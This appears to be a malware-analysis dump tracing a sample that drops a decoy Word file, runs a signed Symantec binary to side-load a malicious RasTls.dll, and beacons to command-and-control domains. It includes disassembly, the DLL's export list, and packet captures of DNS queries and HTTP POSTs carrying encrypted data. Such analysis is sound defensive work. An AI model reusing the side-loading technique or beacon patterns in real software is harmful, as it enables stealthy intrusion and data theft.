```
CreateProcess ( "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE", ""C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n
"C:\Users\foo\AppData\Local\Temp\tmp.docx"", NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT |
EXTENDED_STARTUPINFO_PRESENT, 0x0083a7f0, … )
```

00401057 | B9 B0E54000 | mov ecx,foo.40E5B0 | 40E5B0:L"Symantec Network Access Control"

```
+++++++++++++++++++ X +++++++++++++++++++
[002AF944]->
[002AF958]->    VeriSign Class 3 Code Signing 2004 CA
[002AF95C]->    Symantec Corporation
[002AF948]->    (null)
[002AF94C]->    r:\cm\\verisign\
[00E42180]->    75 8f 5e e8 26 3b 66 94 71 9d 84 34 eb 99 86 08
```

STAGE-1

sample.exe-2820

WINWORD.EXE-3376

Legit Symantec signed binary

rastlsc.exe-3544

command line args = krv

STAGE-2

Check the command line 'krv'

svchost.exe-960 → taskeng.exe-168 → rastlsc.exe-300

HeapCreate (0, 4096, 0)

LoadLibraryW ("RasTls.dll")

DLL SIDE-LOADING

RasEapCreateConnectionProperties
RasEapCreateConnectionProperties2
RasEapCreateUserProperties
RasEapCreateUserProperties2
RasEapFreeMemory
RasEapGetCredentials
RasEapGetIdentity
RasEapGetInfo
RasEapInvokeConfigUI
RasEapInvokeInteractiveUI
RasEapQueryCredentialInputFields
RasEapQueryInteractiveUIInputFields
RasEapQueryUIBlobFromInteractiveUIInputFields
RasEapQueryUserBlobFromCredentialInputFields
RasEapUpdateServerConfig

OUTLFLTR.DAT

```
rastlsc.0040196E
  push rastlsc.40E520 ; 40E520:L"RasTls.dll"
  call edi
  cmp eax,ebx
  mov dword ptr ds:[esi+4],eax
  jne rastlsc.4019B1

rastlsc.0040197C
  push rastlsc.40E520 ; 40E520:L"RasTls.dll"
  lea ecx,dword ptr ss:[esp+C]
  push ecx
  push rastlsc.40E538 ; 40E538:L"%s\\system32\\%s
  lea edx,dword ptr ss:[esp+21C] ; edx:EntryPoint
  push 104
  push edx ; edx:EntryPoint
  call rastlsc.403561
  add esp,14
  lea eax,dword ptr ss:[esp+210]
  push eax
  call edi
  cmp eax,ebx
  mov dword ptr ds:[esi+4],eax
  je rastlsc.401A1B

rastlsc.004019B1
  mov ecx,dword ptr ds:[esi+4]
  mov edi,dword ptr ds:[<&GetProcAddress>]
  push rastlsc.40E558 ; 40E558:"RasEapGetInfo"
  push ecx
  call edi
  cmp eax,ebx
  mov dword ptr ds:[esi+C],eax
  je rastlsc.401A1B

rastlsc.004019C9
  mov edx,dword ptr ds:[esi+4] ; edx:EntryPoint
  push rastlsc.40E568 ; 40E568:"RasEapFreeMemory"
  push edx ; edx:EntryPoint
  call edi
  cmp eax,ebx
  mov dword ptr ds:[esi+14],eax
  je rastlsc.401A1B
```

```
========================== (UDURRANI) ================================

(LAYER: 4)
s_port: 54495 |d_port: 53 |len=53
    47 C7 01 00 00 01 00 00 00 00 00 00 3C 6E 6E 67        G..........<nng
    67 6D 70 67 67 6D 65 67 67 69 64 67 67 6E 69 67        gmpggmeggidggnig
    67 6D 65 67 67 6A 6B 67 67 6D 68 67 67 6A 68 67        gmeggjkggmhggjhg
    67 6D 6B 67 67 6A 6E 67 67 6D 70 67 67 6D 64 67        gmkggjnggmpggmdg
    67 6A 6D 67 67 6D 63 67 67 08 69 6A 68 6C 62 67        gjmggmcgg.ijhlbg
    68 69 08 61 6C 79 65 72 72 61 63 03 63 6F 6D 00        hi.alyerrac.com.
    00 01 00 01                                            ....

========================== (UDURRANI) ================================

(LAYER: 4)
s_port: 54495 |d_port: 53 |len=53
    47 C7 01 00 00 01 00 00 00 00 00 00 3C 6E 6E 67        G..........<nng
    67 6D 70 67 67 6D 65 67 67 69 64 67 67 6E 69 67        gmpggmeggidggnig
    67 6D 65 67 67 6A 6B 67 67 6D 68 67 67 6A 68 67        gmeggjkggmhggjhg
    67 6D 6B 67 67 6A 6E 67 67 6D 70 67 67 6D 64 67        gmkggjnggmpggmdg
    67 6A 6D 67 67 6D 63 67 67 08 69 6A 68 6C 62 67        gjmggmcgg.ijhlbg
    68 69 08 61 6C 79 65 72 72 61 63 03 63 6F 6D 00        hi.alyerrac.com.
    00 01 00 01                                            ....

========================== (UDURRANI) ================================

(LAYER: 4)
s_port: 53 |d_port: 56686 |len=56686
    45 00 00 80 07 E0 00 00 80 11 1B E5 AC 10 DF 84        E..?....?.......
    AC 10 DF 02 DD 6E 00 35 00 6C A4 6A CA 20 01 00        .....n.5.l.j. ..
    00 01 00 00 00 00 00 00 3C 6E 6E 67 67 6D 70 67        ........<nnggmpg
    67 6D 65 67 67 69 64 67 67 6E 69 67 67 6D 65 67        gmeggidggniggmeg
    67 6A 6B 67 67 6D 68 67 67 6A 68 67 67 6D 6B 67        gjkggmhggjhggmkg
    67 6A 6E 67 67 6D 70 67 67 6D 64 67 67 6A 6D 67        gjnggmpggmdggjmg
    67 6D 63 67 67 08 69 6A 68 6C 62 67 68 69 08 61        gmcgg.ijhlbghi.a
    6C 79 65 72 72 61 63 03 63 6F 6D 00 00 01 00 01        lyerrac.com.....

(LAYER: 4)
s_port: 53 |d_port: 52198 |len=52198
    45 00 00 7E 08 48 00 00 80 11 1B 7F AC 10 DF 84        E..~.H..?......
    AC 10 DF 02 CB E6 00 35 00 6A F5 47 FB 32 01 00        .......5.j.G.2..
    00 01 00 00 00 00 00 00 3C 6E 6E 67 67 6D 70 67        ........<nnggmpg
    67 6D 65 67 67 69 64 67 67 6E 69 67 67 6D 65 67        gmeggidggniggmeg
    67 6A 6B 67 67 6D 68 67 67 6A 68 67 67 6D 6B 67        gjkggmhggjhggmkg
    67 6A 6E 67 67 6D 70 67 67 6D 64 67 67 6A 6D 67        gjnggmpggmdggjmg
    67 6D 63 67 67 08 69 6A 68 6C 62 67 68 69 06 75        gmcgg.ijhlbghi.u
    72 6E 61 67 65 03 63 6F 6D 00 00 01 00 01              rnage.com.....
```

```
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.urnage.com , 0


QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
-------------------------
QUE:  nnggmpggmeggidggniggmeggjkggmhggjhggmkggjnggmpggmdggjmggmcgg.ijhlbghi.houseoasa.com , 0
```

```
========================== (UDURRANI) ==============================
(DATA PUSH!) IS COMING FROM 172.16.223.134     TO IP ADDRESS _.-.-.-.-.-.-.-.
    PORT INFORMATION (55664, 80)
    SEQUENCE INFORMATION (3169461092, 317846864)

    |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
     (688)
    50 4F 53 54 20 68 74 74 70 3A 2F 2F 6E 6E 67 67         POST http://nngg
    6D 70 67 67 6D 65 67 67 69 64 67 67 6E 69 67 67         mpggmeggidggnigg
    6D 65 67 67 6A 6B 67 67 6D 68 67 67 6A 68 67 67         meggjkggmhggjhgg
    6D 6B 67 67 6A 6E 67 67 6D 70 67 67 6D 64 67 67         mkggjnggmpggmdgg
    6A 6D 67 67 6D 63 67 67 2E 69 6A 68 6C 62 67 68         jmggmcgg.ijhlbgh
    69 2E 68 6F 75 73 65 6F 61 73 61 2E 63 6F 6D 2F         i.houseoasa.com/
    37 2F 31 32 38 36 36 32 2D 53 61 6A 2D 41 67 69         7/128662-Saj-Agi
    7A 2D 59 65 62 2D 43 65 74 2D 41 73 65 69 6D 2D         z-Yeb-Cet-Aseim-
    49 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74         I HTTP/1.1..Host
    3A 20 6E 6E 67 67 6D 70 67 67 6D 65 67 67 69 64         : nnggmpggmeggid
    67 67 6E 69 67 67 6D 65 67 67 6A 6B 67 67 6D 68         ggniggmeggjkggmh
    67 67 6A 68 67 67 6D 6B 67 67 6A 6E 67 67 6D 70         ggjhggmkggjnggmp
    67 67 6D 64 67 67 6A 6D 67 67 6D 63 67 67 2E 69         ggmdggjmggmcgg.i
    6A 68 6C 62 67 68 69 2E 68 6F 75 73 65 6F 61 73         jhlbghi.houseoas
    61 2E 63 6F 6D 0D 0A 55 73 65 72 2D 41 67 65 6E         a.com..User-Agen
    74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28         t: Mozilla/4.0 (
    63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45         compatible; MSIE
    20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54          8.0; Windows NT
    20 36 2E 30 3B 20 54 72 69 64 65 6E 74 2F 34 2E          6.0; Trident/4.
    30 29 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D         0)..Accept: */*.
    0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67         .Accept-Encoding
    3A 20 64 65 66 6C 61 74 65 2C 20 67 7A 69 70 0D         : deflate, gzip.
    0A 52 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F         .Referer: http:/
    2F 6E 6E 67 67 6D 70 67 67 6D 65 67 67 69 64 67         /nnggmpggmeggidg
    67 6E 69 67 67 6D 65 67 67 6A 6B 67 67 6D 68 67         gniggmeggjkggmhg
    67 6A 68 67 67 6D 6B 67 67 6A 6E 67 67 6D 70 67         gjhggmkggjnggmpg
    67 6D 64 67 67 6A 6D 67 67 6D 63 67 67 2E 69 6A         gmdggjmggmcgg.ij
    68 6C 62 67 68 69 2E 68 6F 75 73 65 6F 61 73 61         hlbghi.houseoasa
    2E 63 6F 6D 2F 37 2F 31 32 38 36 36 32 2D 53 61         .com/7/128662-Sa
    6A 2D 41 67 69 7A 2D 59 65 62 2D 43 65 74 2D 41         j-Agiz-Yeb-Cet-A
    73 65 69 6D 2D 49 0D 0A 50 72 6F 78 79 2D 43 6F         seim-I..Proxy-Co
    6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41         nnection: Keep-A
    6C 69 76 65 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65         live..Content-Le
    6E 67 74 68 3A 20 34 35 0D 0A 43 6F 6E 74 65 6E         ngth: 45..Conten
    74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74         t-Type: applicat
    69 6F 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75         ion/x-www-form-u
    72 6C 65 6E 63 6F 64 65 64 0D 0A 0D 0A 20 D1 85         rlencoded.... ..
    41 20 4E A7 35 F5 4C E3 84 15 CF 4D 6B 91 79 D2         A N.5.L....Mk.y.
    1F 55 71 C5 95 D0 E6 1B 0A 15 B9 95 C7 CC 48 38         .Uq..........H8
    CB A5 49 88 F3 12 27 02 C0 15                           ..I...'...


(
```

```
LAYER: 4)
s_port: 53 |d_port: 50777 |len=50777
    45 00 00 80 67 2C 00 00 80 11 BC 96 AC 10 DF 86         E..?g,..?.......
    AC 10 DF 02 C6 59 00 35 00 6C 86 44 FF 59 01 00         .....Y.5.l.D.Y..
    00 01 00 00 00 00 00 00 3C 6E 6E 67 67 6D 70 67         ........<nnggmpg
    67 6D 65 67 67 69 64 67 67 6E 69 67 67 6D 65 67         gmeggidggniggmeg
    67 6A 6B 67 67 6D 68 67 67 6A 68 67 67 6D 6B 67         gjkggmhggjhggmkg
    67 6A 6E 67 67 6D 70 67 67 6D 64 67 67 6A 6D 67         gjnggmpggmdggjmg
    67 6D 63 67 67 08 69 6A 68 6C 62 67 68 69 08 61         gmcgg.ijhlbghi.a
    6C 79 65 72 72 61 63 03 63 6F 6D 00 00 01 00 01         lyerrac.com.....


========================== (UDURRANI) ==============================
(INIT) SYN PACKET SENT FROM 172.16.223.134     TO IP ADDRESS
    PORT INFORMATION (55666, 80)
    SEQUENCE INFORMATION (3839855750, 0)
    |URG:0 | ACK:0 | PSH:0 | RST:0 | SYN:1 | FIN:0|
     (66)


========================== (UDURRANI) ==============================
(SYN ACK ) PACKET SENT FROM _____      TO IP ADDRESS 172.16.223.134
    PORT INFORMATION (80, 55666)
    SEQUENCE INFORMATION (13895477, 3839855751)

    |URG:0 | ACK:1 | PSH:0 | RST:0 | SYN:1 | FIN:0|
     (60)
    00 00                                                   ..


========================== (UDURRANI) ==============================
(ACKN) ACK PACKET SENT FROM 172.16.223.134     TO IP ADDRESS
    PORT INFORMATION (55666, 80)
    SEQUENCE INFORMATION (3839855751, 13895478)
    |URG:0 | ACK:1 | PSH:0 | RST:0 | SYN:0 | FIN:0|
     (60)
    00 00 00 00 00 00                                       ......


========================== (UDURRANI) ==============================
(DATA PUSH!) IS COMING FROM 172.16.223.134     TO IP ADDRESS
    PORT INFORMATION (55666, 80)
    SEQUENCE INFORMATION (3839855751, 13895478)

    |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
     (659)
    50 4F 53 54 20 68 74 74 70 3A 2F 2F 6E 6E 67 67         POST http://nngg
    6D 70 67 67 6D 65 67 67 69 64 67 67 6E 69 67 67         mpggmeggidggnigg
    6D 65 67 67 6A 6B 67 67 6D 68 67 67 6A 68 67 67         meggjkggmhggjhgg
    6D 6B 67 67 6A 6E 67 67 6D 70 67 67 6D 64 67 67         mkggjnggmpggmdgg
    6A 6D 67 67 6D 63 67 67 2E 69 6A 68 6C 62 67 68         jmggmcgg.ijhlbgh
    69 2E 61 6C 79 65 72 72 61 63 2E 63 6F 6D 2F 31         i.alyerrac.com/1
    33 2F 36 31 38 38 34 2D 49 76 75 6B 65 2D 49 70         3/61884-Ivuke-Ip
    68 69 6A 20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F         hij HTTP/1.1..Ho
    73 74 3A 20 6E 6E 67 67 6D 70 67 67 6D 65 67 67         st: nnggmpggmegg
    69 64 67 67 6E 69 67 67 6D 65 67 67 6A 6B 67 67         idggniggmeggjkgg
    6D 68 67 67 6A 68 67 67 6D 6B 67 67 6A 6E 67 67         mhggjhggmkggingg
    6D 70 67 67 6D 64 67 67 6A 6D 67 67 6D 63 67 67         mpggmdggjmggmcgg
    2E 69 6A 68 6C 62 67 68 69 2E 61 6C 79 65 72 72         .ijhlbghi.alyerr
    61 63 2E 63 6F 6D 0D 0A 55 73 65 72 2D 41 67 65         ac.com..User-Age
    6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20         nt: Mozilla/4.0
    28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49         (compatible; MSI
    45 20 38 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E         E 8.0; Windows N
    54 20 36 2E 30 3B 20 54 72 69 64 65 6E 74 2F 34         T 6.0; Trident/4
    2E 30 29 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A         .0)..Accept: */*
    0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E         ..Accept-Encodin
    67 3A 20 64 65 66 6C 61 74 65 2C 20 67 7A 69 70         g: deflate, gzip
    0D 0A 52 65 66 65 72 65 72 3A 20 68 74 74 70 3A         ..Referer: http:
    2F 2F 6E 6E 67 67 6D 70 67 67 6D 65 67 67 69 64         //nnggmpggmeggid
    67 67 6E 69 67 67 6D 65 67 67 6A 6B 67 67 6D 68         ggniggmeggjkggmh
    67 67 6A 68 67 67 6D 6B 67 67 6A 6E 67 67 6D 70         ggjhggmkggjnggmp
    67 67 6D 64 67 67 6A 6D 67 67 6D 63 67 67 2E 69         ggmdggjmggmcgg.i
    6A 68 6C 62 67 68 69 2E 61 6C 79 65 72 72 61 63         jhlbghi.alyerrac
    2E 63 6F 6D 2F 31 33 2F 36 31 38 38 34 2D 49 76         .com/13/61884-Iv
    75 6B 65 2D 49 70 68 69 6A 0D 0A 50 72 6F 78 79         uke-Iphij..Proxy
    2D 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65         -Connection: Kee
    70 2D 41 6C 69 76 65 0D 0A 43 6F 6E 74 65 6E 74         p-Alive..Content
    2D 4C 65 6E 67 74 68 3A 20 34 35 0D 0A 43 6F 6E         -Length: 45..Con
    74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69         tent-Type: appli
    63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F 72         cation/x-www-for
    6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 0D 0A         m-urlencoded....
    20 D1 85 41 20 4E A7 35 F5 4C E3 84 15 CF 4D 6B          ..A N.5.L....Mk
    91 79 D2 1F 55 71 C5 95 D0 E6 1B 0A 15 B9 95 C7         .y..Uq..........
    CC 48 38 CB A5 49 88 F3 12 27 02 C0 15                  .H8..I...'...
```